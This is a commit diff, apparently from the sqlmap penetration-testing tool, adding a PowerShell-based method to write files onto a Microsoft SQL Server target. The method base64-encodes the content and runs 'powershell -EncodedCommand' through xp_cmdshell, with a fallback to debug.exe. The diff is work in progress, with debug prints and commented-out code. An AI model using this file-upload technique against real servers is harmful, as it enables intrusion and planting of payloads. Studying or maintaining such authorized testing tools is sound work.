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working on #742 - powershell support for file write on MSSQL

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This commit is contained in:
Bernardo Damele 2014-06-30 18:06:19 +01:00
parent e2aed41c6f
commit cd260a7470
1 changed files with 25 additions and 14 deletions
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39
plugins/dbms/mssqlserver/filesystem.py
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@ -165,27 +165,30 @@ class Filesystem(GenericFilesystem):
def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg = "using PowerShell to write the %s file content " % fileType
infoMsg += "to file '%s', please wait.." % dFile #infoMsg += "to file '%s', please wait.." % dFile
infoMsg += "to file '%s'" % dFile
logger.info(infoMsg) logger.info(infoMsg)
print "tmpPath:", tmpPath
print "wFileContent:", wFileContent
print "dFile:", dFile
print "fileType:", fileType
randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile) randFilePath = "%s\%s" % (tmpPath, randFile)
encodedFileContent = hexencode(wFileContent) encodedFileContent = base64encode(wFileContent)
# TODO: need to be fixed # TODO: need to be fixed
psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile)
psString = psString.encode('utf-16le') #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile)
psString = psString.encode("base64")[:-1].replace("\n", "") psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) > %s" % (encodedFileContent, dFile)
logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) logger.debug("converting the base64-encoded file utilizing PowerShell")
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug("converting the file utilizing PowerShell EncodedCommand")
commands = ("cd \"%s\"" % tmpPath, commands = ("cd \"%s\"" % tmpPath,
"powershell -EncodedCommand %s" % psString, "powershell -EncodedCommand %s" % base64encode(psString))
"del /F /Q %s" % randFilePath) # "powershell -EncodedCommand %s" % base64encode(psString),
# "del /F /Q %s" % randFilePath)
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
self.execCmd(complComm) self.execCmd(complComm)
@ -344,12 +347,20 @@ class Filesystem(GenericFilesystem):
if written is False: if written is False:
message = "do you want to try to upload the file with " message = "do you want to try to upload the file with "
message += "another technique? [Y/n] " message += "the PowerShell technique? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice.lower() == "y":
self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the debug.exe technique? [Y/n] "
choice = readInput(message, default="Y") choice = readInput(message, default="Y")
if not choice or choice.lower() == "y": if not choice or choice.lower() == "y":
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
#self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck) written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
return written return written